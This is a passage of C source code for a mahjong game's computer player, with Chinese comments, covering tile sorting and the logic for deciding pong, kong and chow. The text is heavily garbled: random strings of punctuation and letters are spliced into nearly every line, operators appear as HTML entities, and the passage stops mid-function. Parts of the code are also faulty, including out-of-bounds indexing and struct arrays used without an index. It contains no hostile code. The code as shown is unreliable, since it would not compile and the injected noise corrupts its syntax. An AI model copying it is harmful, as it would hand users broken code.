for(n=0;n&lt;me.m;n++)# ~9 i1 r3 J6 y8 b; v
for(j=n;j&lt;me.m;j++)3 S- g, N+ L! J2 |0 z& a& f
{
& ?+ ^$ o2 P: |) Hif(me.pp[n].number&gt;me.pp[j+1].number)' m0 [; {) ?7 P8 y: {3 C! @
{! q2 {) `, Q2 @7 l6 R1 a
lingshi=me.pp[n].k;
6 w2 J: N; i7 ^3 S( \# k& i3 Ume.pp[n].k=me.pp[j+1].k;
$ D% @$ Q- E+ W9 [9 pme.pp[j+1].k=lingshi;' V9 B% s7 T* [! f2 r
u=me.pp[n].oneorfour;
7 }# ~2 W; y$ {/ q' c' @% Cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
  x/ C+ Y7 @6 s: \2 f" U) [me.pp[j+1].oneorfour=u;2 @! ~% W( T; c0 m' {$ K- ]9 H
u=me.pp[n].number;3 I% M& ]0 F# P. v" Z) Q+ R0 _- k
me.pp[n].number=me.pp[j+1].number;  m9 v, c5 T  p( R- W+ T
me.pp[j+1].number=u;! u% |7 l% L: N7 w  B/ j4 v
}5 P) q7 h0 V4 c5 h
else& o1 P0 ?. m' B( o0 J* d
if(me.pp[n].number==me.pp[j+1].number)1 ?9 k; V& ~9 l$ X1 o6 p
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)& @, O6 u% T. P/ L5 Y& V; X8 E% P$ s
{
, \' p! A' v; g2 _2 g. l* R8 Dlingshi=me.pp[n].k;
4 F' h/ S7 g% Hme.pp[n].k=me.pp[j+1].k;8 b$ d* Z" t& T, ?2 r7 T
me.pp[j+1].k=lingshi;
0 v4 {& X. F0 gu=me.pp[n].oneorfour;
4 s5 b2 U" M7 hme.pp[n].oneorfour=me.pp[j+1].oneorfour;
9 H# c4 s( [2 t7 \0 S9 Z, O8 ^8 Pme.pp[j+1].oneorfour=u;
$ N0 O; O# R6 C" q% a( s* ]% su=me.pp[n].number;
6 V4 q' t- n! c! n' `4 eme.pp[n].number=me.pp[j+1].number;
( I& p4 }6 a! ?" n' S( M8 _8 `me.pp[j+1].number=u;
  \: t/ \$ [  N0 m" L3 y}
7 h; Z! M$ j# Z% O# H4 z: B}
6 X1 ^- [, j/ z9 P7 X}# i1 L" M8 O7 l: [
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
9 N8 N- Z; Q! L7 Q) j{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) s# m2 i9 R' r1 m$ iif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
( B2 z+ i/ R% x" ^3 |  {. }& n- ^{
6 Q0 T/ `/ w9 z# ]6 [- _, ^0 Xlogo=1;0 G8 d' R' Z% w$ ^6 f% n; Z
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
! f" J$ v1 o* y: M! O  D0 b+ Slogoo=1;
9 k2 G4 D& ~1 ?9 W. _else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
( p7 m3 k0 Q: b9 \2 ?. j' Klogoo=2;
* t  _: M/ u6 @9 i6 c( F+ Z  Melse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
8 |  m1 C( h  I; _logoo=3;
( {/ {8 H) x2 j2 c- belse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)" u, [) ?( S* O9 \
logoo=4;
/ p% s; W7 O' _' S& E8 N" G* q9 Lelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
! b" T3 X" g+ Qlogoo=5;* p$ j9 ~$ g3 R" _, E
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)4 T- W  y. ]% K
logoo=6;/ g. O2 _$ F5 {  ~! x# `
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
1 j6 h+ S( X2 J0 |' Y+ ologoo=7;8 ?* L- _/ K& {* G  j, Y( k
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)  f3 F5 t1 C4 i0 Y7 z3 X( x( Q" q
logoo=8;
  g1 f" T9 E5 F! }" _9 @else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)- c2 ?; s. M$ F9 H
logoo=9;7 }3 Q+ u! p% m9 l$ @& ]
}4 P: w) R* j0 j' k$ {
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
8 e# i3 i/ w1 W9 h5 T6 q- J8 ]0 K# k{
8 Z+ |( R! B3 l7 d& R! N+ nlogo=2;9 k5 W0 Y- c7 n" _+ O5 o
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
; T: ^# Z, q5 Ulogoo=1;6 g: ~+ r* J4 @7 U7 v' a. e3 v
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)# z. h, h. \0 ?
logoo=2;7 k1 S+ D& I6 ^7 M  i
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44): k, R% c& A% D2 T+ K8 E" F
logoo=3;2 P/ [- t. N/ L1 P) a5 X7 }- m
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)) u/ E9 B& e) q  v& V9 c: D% E
logoo=4;
6 V! X/ X' n8 _$ ~4 ~! Oelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
7 j, Q6 R0 e6 i2 k! H- m% zlogoo=5;
6 f: I2 [' c" |& z: l! yelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)' ^* Y  N3 J* g, e+ R/ K! F
logoo=6;: T! T: }! x8 U  i
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
% |3 {# \. m2 wlogoo=7;8 K+ X. o( g; l6 I/ b
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
7 B7 d2 T! S1 p  ~/ Llogoo=8;
' i' e* J( B5 `" belse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)) ^) g7 Z# S8 c* m1 Y- n9 g  ^% H4 V
logoo=9;. V- P! E2 S" l6 w; M
}
7 u- m5 b0 B) h- e2 Delse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72); ^& i9 z( X; w/ N7 L& W& o
{
2 ~* \) k4 @9 ylogo=3;
1 n2 M* F0 L, c: B& o3 Dif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
/ a. A. F( D1 l6 \- h) z8 Plogoo=1;; K; S$ @; d, q& M8 S4 ?
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)) ~2 m+ `4 k. V! H. `
logoo=2;
+ Z) H& m0 F1 i; ]8 {' y" }else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
- n: E7 w5 X- v5 M  T# glogoo=3;
* t) O/ _# F0 p, oelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)8 P& `% u# U5 k1 {* O4 j
logoo=4;2 f2 Q* ~4 r- d6 g
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)6 o' t) x) w8 ^3 M
logoo=5;8 E, d; H& O+ @# q1 f  S  L' T
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)5 w  A# b/ {" u
logoo=6;" X4 @( i1 g$ \
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)( q3 N2 y$ [8 ?+ U
logoo=7;
/ d% E/ T0 s+ [" I1 Q9 V7 m4 ]6 ^else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
% R) r3 a" A. J+ |logoo=8;
/ h9 ]( u4 R' q, v& G* T4 ~else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)2 ~6 y7 O& H6 N9 P1 f) J
logoo=9;+ y- X7 ^  u# u+ m: q
}
( [4 X3 w, ]% T4 ]# u1 Y' s  relse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
2 V* E& ^5 F7 b{# R9 q( C4 `& n2 o; p
logo=4;1 p, o/ y" \3 C
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
% m% g* t. v, |logoo=1;
: P0 S8 n" l, \; j  Yelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
- |! @+ s  A6 T4 Ilogoo=2;
* y0 z. a% e6 V  @. ^  v! Welse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)/ Q0 j7 \  O  T
logoo=3;
3 N6 o' ]4 v- B+ [$ c  C& belse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)3 K6 V" k, i4 z% g) w
logoo=4;
3 e7 C- B# `& k0 E' v+ f9 M% _- K0 ^else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
  j- h8 Z) n! {5 U0 }( x2 alogoo=5;
3 q, ]2 h, [) uelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
8 M) X" m( L& K% {$ l: Llogoo=6;( W6 ]' U2 E3 Q6 {2 }' m
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)/ T+ L) u1 n& ]2 H0 e" }
logoo=7;
" s5 F" @) T+ Z  R}
- s- D/ |, P9 Y( T; \while(b&lt;=computer.m)  W& Y6 c3 q# Q9 U2 W
{
) y7 E2 P, h1 B! y  Zif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/  ?8 w  l& _! H' S0 K
{
; g) \0 Z( Q; [" Glg=1;
% q' j& A$ l8 s, K: n4 x9 mcomputer.pp.d[0]=1;. z; ^$ j, K& a, a6 u; y
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)9 D) t0 E& i, N: U8 p0 U% z
{- y/ d% n5 H7 t
lgg=1;
/ s3 X. a& z- O5 f9 Pcomputer.pp.d[1]=1;
& f  E/ d! b: I% s  d3 d}& p7 p2 J2 T9 Y; J) K
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)& X! }4 K8 g4 r4 E- W
{( Y% y6 `7 \( [% R
lgg=2;  N2 G' [  x! N* g
computer.pp.d[1]=2;. _/ S% w: E- r
}
! Z  n+ k- B, Y& n  `else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)4 U, w- Y0 j3 {9 h, D) x
{
9 F9 M% s1 L+ V3 R  Nlgg=3;
6 n% l. N5 @7 M' q4 Mcomputer.pp.d[1]=3;
) x( i9 @4 n0 _}
5 k0 y0 y5 v: xelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
4 N3 V: }% N. [3 F" C{
2 }  O; V5 n/ z8 Z. Z: ulgg=4;; i- w2 B0 V" Q/ |1 w# T
computer.pp.d[1]=4;6 q6 y6 F% ~4 h
}  S% E$ R" Q7 Y4 Y& }
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)5 O5 k6 P% }0 y2 S3 n% I
{  Q, |' J! y9 S5 I# C
lgg=5;* R6 r1 t% F1 F
computer.pp.d[1]=5;2 ]2 U1 [8 g) t; x9 Z
}
( K1 ?5 X% e; q7 @7 H7 pelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
$ z# d1 O/ F7 ]: i% G0 S{  R; R. |! ?/ @1 l- W4 |
lgg=6;
* G1 M) p4 N( u* U: `computer.pp.d[1]=6;
' C- y5 @4 c" z1 |$ j1 J}
, ^' f; _0 L- v/ Celse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
% }% s4 F: C- m/ U+ i1 _% E5 T4 s{% U* l9 D' R- H2 l% r- y- A
lgg=7;* ~$ s& t1 P" j# k. ~
computer.pp.d[1]=7;
9 u6 d' L1 o( l0 }. M" B}
3 z3 V. @. L. a& M' lelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28); y; d" S5 x+ q% ^% Y! q. A' ^* m
{
# L; R8 L+ E3 ^$ ?; A7 y6 Rlgg=8;
: S+ x1 ~8 Z, y) J& \computer.pp.d[1]=8;
  u. W0 }& G; _3 F}
( C) X8 I2 b- T0 I" Eelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
9 ~; b# \" w* N% b, `/ y{
5 R0 f: ^5 }" u/ A' V9 G7 L% N8 jlgg=9;
7 m. [. c0 U* O5 o! V1 dcomputer.pp.d[1]=9;8 @# [; w( c% W2 J7 P+ h' Y
}0 U- I6 o+ J6 s7 q
}( X, p+ T( S' t$ n+ G7 u
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)6 C/ R: m# O* _3 u
{" G. l) r: r4 f
lg=2;
* |# v& O: W2 T9 A  scomputer.pp.d[0]=2;
, Q4 K. i- N. n! j- Yif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
  U7 F: F. G* J+ J/ D{* s2 B- V0 Y# B) _7 v+ S) `( I* d
lgg=1;9 N, ^4 R4 f5 c( ]' g" g# F
computer.pp.d[1]=1;& `, |) E, q2 i. E. t
}
) T; [) K" I6 Relse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)5 `9 ]+ g. t' \- {8 ]1 {* P
{- j+ g1 G# B9 x
lgg=2;
" j% i# X% Y7 v# Ecomputer.pp.d[1]=2;
% ]3 D& W1 P. w/ f; Z) U}6 p. K$ Z2 M1 P& B9 Q1 h/ K
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
7 z" x0 m5 b+ F4 O& k/ A/ M* A{
+ Q2 o1 O, v& C5 {! Y" klgg=3;
8 Q7 {( J2 M8 ?5 i' ]* Jcomputer.pp.d[1]=3;0 C/ p/ q% H. m$ T) N3 X' _
}# P7 V* _3 h% E5 F- x0 F
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)  \) N3 R% ~" d( s4 a6 {2 E. c
{: N6 ^) }; v( m5 u$ @0 ~
lgg=4;
3 p% B! r+ j  e3 A" X' {computer.pp.d[1]=4;
7 h6 z8 w' P6 [) ^}4 r4 Y8 g% O: t. T/ a+ z
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
- h3 W1 Q5 F$ z! E" y, L{# `0 |4 C; Q8 L( ^2 Z) ^
lgg=5;
$ e+ }" |! m' L7 ^computer.pp.d[1]=5;
% c# T9 U1 q  \}2 w! I$ r5 n: v& X; J* ?& S
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)7 }! C" ^* ?! r& o- ^$ \
{; k" u; U2 }( [+ p
lgg=6;
& f8 @, ~; p5 o5 a2 q3 Z* Vcomputer.pp.d[1]=6;
' z1 b1 h7 g6 _+ s' H}& C( w2 `0 V* R& ^
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)/ A, E1 i& j0 s7 M# e
{; }' j6 N2 \  T! [1 X  a3 Y
lgg=7;
3 {8 Q% W3 z$ _* Gcomputer.pp.d[1]=7;
9 ^6 i# d$ G" P- [6 S+ [}/ a4 Y7 B6 e( H8 Y. q3 Y
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
7 M% n' Q# k' P7 z{
  u' o5 V+ s3 ?( Q# a( vlgg=8;4 [8 q" [. ?2 F1 H
computer.pp.d[1]=8;
, _' D* b3 v6 [( V8 a2 u# Q  E1 y}& A9 q" {' d% n$ U2 k' c
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)% U# K$ p% K9 N& m- a0 l+ E
{
1 O+ f8 W; I# w8 Y. k1 Nlgg=9;( S0 K) s, ~0 h* v( ]- d
computer.pp.d[1]=9;
" p6 q1 z5 h7 z5 h" E. B" n0 ?6 H}4 l0 z3 _  y* u5 Z( O6 E  ?
}  M' `' ~- Y, O  T$ l; d* ]/ H
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)# S8 @& x  e2 P6 \0 c# l
{
, Z4 i* [2 v7 u, V3 n4 r5 Elg=3;7 H0 t* _, e( }5 N/ O
computer.pp.d[0]=3;9 z! z# {2 a; }; r0 v' }& {
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)3 R% d1 i/ ]8 @5 ~& }7 G# a
{
4 j/ O, {! \* a- T& M) q3 nlgg=1;# N4 T: Z6 N6 {% W
computer.pp.d[1]=1;
. D' x) [0 c/ b. M7 W1 D}2 l6 n. o/ v! ]# M; T
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)( J) M1 U% E5 \. w
{
5 F6 v; C1 r6 n, Qlgg=2;
, Q4 ^& k. G$ ^3 r& u2 ^( }computer.pp.d[1]=2;
/ q1 h8 z8 j  ?+ m}
* k5 }; l3 E$ S3 Zelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)9 x; ~  }  ?+ u' ]. o- ^
{
# u3 c: d+ W+ d, m& I1 U' W- K$ ~# ^lgg=3;
0 J% a1 B0 e3 l8 G7 b8 M) Ucomputer.pp.d[1]=3;& z0 H# o. _3 K% i+ y5 U
}1 m6 U2 G( D# ~0 k
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)# B. F$ I  m# i2 G* _9 b
{
% K5 N+ F" T0 z  O0 K4 wlgg=4;0 I: [' r+ G! c3 N8 e. @
computer.pp.d[1]=4;! {0 J+ X& `6 t0 o8 k+ \9 s
}
8 w- W3 [% s' }% a" eelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
* v3 I8 L9 m2 I9 H{, _" i- K9 r- K& P$ [; e& U, v
lgg=5;# b) J8 P" [- n: y9 y/ @
computer.pp.d[1]=5;
8 s! F5 P3 e" j. _}  I. Q- X0 o8 [. p
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)2 ^6 E- s' m, V6 T$ Z
{
8 E. ~& s0 v* r. d" ]lgg=6;7 y1 ?9 }8 {3 [, m: W4 c
computer.pp.d[1]=6;
  m3 o( ^; @* [5 e; H1 u" P' ]3 }( @}
: e" [2 G; ?; @  l/ |) O6 Pelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
- ?6 }. N% J" B* ^( ~{: m2 ]4 }" T3 a2 }9 O+ ~
lgg=7;* x' }# ]+ K5 J/ h
computer.pp.d[1]=7;
6 U$ v- W. F! ?" R! s; d$ m}
( S2 E' B1 l" r5 Nelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)* z& v  O& H" Y& p5 V9 t
{
) [! D2 y$ F) f  p# T% ^lgg=8;
6 e! R* \9 r/ p5 A9 vcomputer.pp.d[1]=8;# n9 ]6 l8 c' P* F! x  f, l4 ^
}8 a# P' X; z. n2 s, O( |, u9 G* w. P
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104); \5 R! o" e' P: M
{4 |& x) `1 G! j: h0 K' t
lgg=9;6 M5 T8 k. u# ?* g) \
computer.pp.d[1]=9;
) Z1 S8 H( F! n7 j* v}
/ P8 g7 h3 Z# o6 O( }& ?# b) U}
# P2 p* e4 ~$ X3 n  a4 @) zelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
" Z, H9 v1 A& m; e1 y3 d5 o{
  u5 E1 d( c7 t0 a' W( D8 {8 n  ?* u# Rlg=4;, a& G( Z# h# ^1 B* U8 @! b
computer.pp.d[0]=4;) z! o: @1 }0 M# U
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108). l( V* J9 e3 N9 @/ t' \: r
{: r7 W& m6 c) K8 X
lgg=1;
. y& _' a( m- d1 gcomputer.pp.d[1]=1;. `1 l, J5 p' r  D2 t
}- t% o# t* d0 Y8 M- v
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112): A& M. q& d" a7 k+ H5 L
{7 U* H0 h# X" G1 |$ I* h+ T( \6 f' [
lgg=2;( }# E( J8 ]" f& X; U
computer.pp.d[1]=2;
4 r, |% p1 D1 V) p0 P$ j}
/ p& \, D, Z* P& {' eelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)% d  _6 b  E- S3 r$ e
{! O. W; o  \/ S1 k
lgg=3;
: X' S% `- l6 F/ d, e: x) d; L7 {computer.pp.d[1]=3;0 e; F4 U* K5 y1 L3 C' n
}
8 w% ^& a3 Y2 @$ b# ~1 O% Ielse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
$ l/ @6 W( B2 S1 f! r5 c{
5 Z1 p# w$ |, b; Wlgg=4;
* k, R7 k* l0 \* f7 Q" ecomputer.pp.d[1]=4;# W9 e0 H2 V5 \% s4 l! x9 ?. v8 e
}; V- r& l# \6 d% T; a9 `
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)! ~- K( p. E( |2 `/ v/ \5 j
{
4 L+ c8 c" ?: L/ Ulgg=5;, V: N, b. k, B! g3 r* }2 d/ u
computer.pp.d[1]=5;' [% g! u* c2 z7 Y! L3 v) K
}
: U) b( f: ]" C$ n9 H" Zelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
$ U. I2 Y4 x/ f' E/ ]) R7 y8 L{* N% E7 i/ P! I7 M$ P7 F( |
lgg=6;
6 r2 h' q. G3 N& r8 Fcomputer.pp.d[1]=6;
  t$ z1 k0 M; g9 G7 n1 M+ d}
5 S- w+ i7 Z: S9 j; o1 R5 eelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)8 y* f4 Z: m+ d6 p# p7 {
{( d: _( K, i% L0 \4 a
lgg=7;
1 W" \  R) A1 i( G7 i$ Qcomputer.pp.d[1]=7;6 L* A& _% z- S2 A
}
# c# z- T% B2 e; V4 P}
8 o2 P2 F) e; h9 q- R( m4 r" U& }' S7 t2 p2 M( U. l5 Y$ B  d# A. J" L1 A. x
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
; O! Q5 Z4 W" x9 C9 zif(logoo==lgg)
4 K- {6 L  v7 d- cpg++;
" D6 G* O' Y2 _+ ]/ }ch.lg=lg; /*保存电脑手里的每张牌的信息*/
/ |9 D2 o' u5 b0 E) G( S: r* ]ch.lgg=lgg;
3 b/ D7 J4 V4 u) b* b- Dlg=0;
3 C7 m1 p+ o. j  mlgg=0;/ D: N3 W$ q, T1 x/ j9 s
b++;5 a( g3 w2 V8 ^7 {
}4 J* N% M: {* {- q5 j/ y
if(pg==2) /*乓*/$ I) O& r- }- _: K  ]* s
{
- H3 m) a1 [% T% A
8 b, {( ]* w4 o9 h/ ?: L3 osing=1;2 D5 D, c+ G5 K7 b4 }3 G
b=computer.m;4 c3 Q* ?  H1 g3 v
while(b!=-1)
' r9 w$ r) e6 Q{
- k5 F( ?; T6 n8 r3 w1 f( Aif(strcmp(me.pp[c].k,computer.pp.k)==0)
+ r' H* D( ~4 hcomputer.pp.p=1;
8 |# l2 j' }& p0 F  H  ?) M! k/ M4 X$ [. g, L5 ^/ l) v) _
b--;
7 _: P2 ^* H# ?% T}
5 F/ x5 d) G$ p1 c}' @% S% F' P9 K. M4 C
if(pg==3) /*杠*/
! Q, q/ Z9 I' a( D. a- W! P  ^{4 v8 ^5 H2 R6 O  C+ b

0 c4 |8 a$ H' g4 I4 Nsing=2;/ e$ Z: h$ L( Z) _' q
b=computer.m;% n* |0 E# o  l3 ~9 b; Z2 k9 s
while(b!=-1)$ f+ `( b9 l% @
{6 Q3 S# f  T( w; `: R; N6 m4 {* T
if(strcmp(me.pp[c].k,computer.pp.k)==0)5 W, P0 ^' M! k  W5 m' ?8 m
computer.pp.g=1;
' ~, v  x' u+ ab--;6 w4 i  M1 u2 ]% N; C& x( g* u
}
- q' j) {0 W; {7 H0 x4 F* F5 f}
& L/ s  {2 |8 u8 e4 N" T: _f=0;7 P; U* g! [+ P) J
while(f&lt;computer.m) /*吃的判断*/- i4 u9 J! W/ L% v
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
! I3 Q8 |, J9 L. G% p{
' N7 M* t- J6 |if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
# g6 i/ t+ A! J* _2 [( M7 q, Kif(ch[f].lgg-logoo==1)
( w$ l# _3 `2 c' \' n; U8 {4 F. X{5 C) t2 W+ l2 X; q3 k
gp++;
# L6 r/ f" b0 Q: s$ Y; j( Gcomputer.pp[f].c=1;% `# d$ [: l! D% Q3 j
computer.pp[f+1].c=1;
, f) M  @/ u, a" \* a* z3 ~}
3 x- ^- z$ ^$ }! w( ^. Rif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
: e7 q9 e5 K4 X5 h8 F3 F, U2 ~if(ch[f+1].lgg-logoo==-1)
1 r# W: U; {. D9 b- v# ~{+ D1 S) }9 W9 @' ?% a9 N6 ]2 j# E8 _4 m3 [
gp++;
& K" m! Y+ C! tcomputer.pp[f].c=1;
- M5 ]; [4 q0 r& T9 C0 hcomputer.pp[f+1].c=1;  Q  v5 [' P- j4 e# X
}
4 [( }; g7 L: b1 q& s  r" R; `- rif(ch[f].lgg-logoo==-1) /*中吃*/3 a7 }0 [4 g! k0 w! I& f! {4 K; S. W$ D
if(ch[f+1].lgg-logoo==1)
! ~3 D: q2 X6 R  I{
3 D+ A8 Q1 X1 e  F1 X* Ngp++;$ e( \6 K6 I1 d0 h1 u, ~- S. A9 Z
computer.pp[f].c=1;/ ~( d2 O- [, z
computer.pp[f+1].c=1;
3 o$ w( I0 S, j* C8 V5 K- f) x- W" ?}# K: J7 V' R( M. H+ f
if(gp==1)2 y4 p9 k: v  b5 O. V! n
break;
; Q! h# e6 v  H0 a6 |, n}
& ^- t& F- m4 E, x% g1 rf++;
8 S0 P( F, F4 b& T. k7 @1 O}3 z( G# @$ r- B' v' K6 ]6 v" q
if(gp==1); X; s& s* ?5 r, X* ~* E
{sing=7;9 X& I* A, X; y, D- x

" X1 `8 l" S" @8 b  Q" a% W}
+ q% ~6 l/ J. q0 ]4 Jpg=0;
6 a& x, s  P+ t# \' Ngp=0;% w5 i% E2 B5 P: s
b=0;# h! k0 s' o) x0 d
}
9 X4 [+ W8 z' `% Z7 e* bvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
- a& \4 j. I" Z  d3 D+ N{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;( o  N* W, L- d( y
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)9 N) v, o8 R) k2 M1 x& V+ e" O
{
3 S- E, {5 u+ N& [& p  ulogo=1;
/ G6 l0 @" H4 l9 q4 D0 Wif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
  g: N5 d9 Y; r+ ~8 o1 Qlogoo=1;
1 Z& R3 _) T& O" e& F: ?. welse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
7 m9 Y# Z3 G6 Y  c( y$ M& |5 blogoo=2;
' r. B) w6 O9 v+ uelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
& q2 [+ r/ Y5 e" @; i/ q9 e  I9 Slogoo=3;
8 h* r" Z" d2 e. |0 w  n; selse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)' {3 F6 M7 z9 d, v( K# ~8 ]
logoo=4;1 f6 y% d/ W2 h6 {& H" }
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)" u1 H* l+ E0 f  {1 N* D/ C
logoo=5;* b: `0 ^' h7 q# D- w
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)/ b5 R, H. \0 z. U! E
logoo=6;
6 R' _8 [! n1 a7 xelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)- Q: R! G; Q4 h+ ~& f+ H
logoo=7;/ a+ @1 {  W2 i1 D1 u- G5 L
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
# I# @  K! w5 M0 e: E1 wlogoo=8;
* l6 S' n# K+ O1 qelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
& S7 h9 Y3 y* q; blogoo=9;. A# F( k8 S7 Z; A$ Y
}# P( u$ M/ v7 @2 C% q
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)9 Z+ K9 ~7 S( i2 |
{2 _; h- t  r$ S( m* ?' @
logo=2;
& e+ o0 l2 ^8 Nif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)7 e& I5 }3 p' ~: Y
logoo=1;3 A( ^. w& M, Y! a8 X$ k
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)3 C0 N1 s# Q2 x7 a5 Z6 ~
logoo=2;
# d0 s2 \, B2 {else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)5 P9 a1 T8 H5 ^/ n
logoo=3;. R4 h! m5 B. P1 ~& ^0 J7 [
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 `% q2 P5 W5 r! Slogoo=4;, V, ~3 W2 Y8 F) F
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
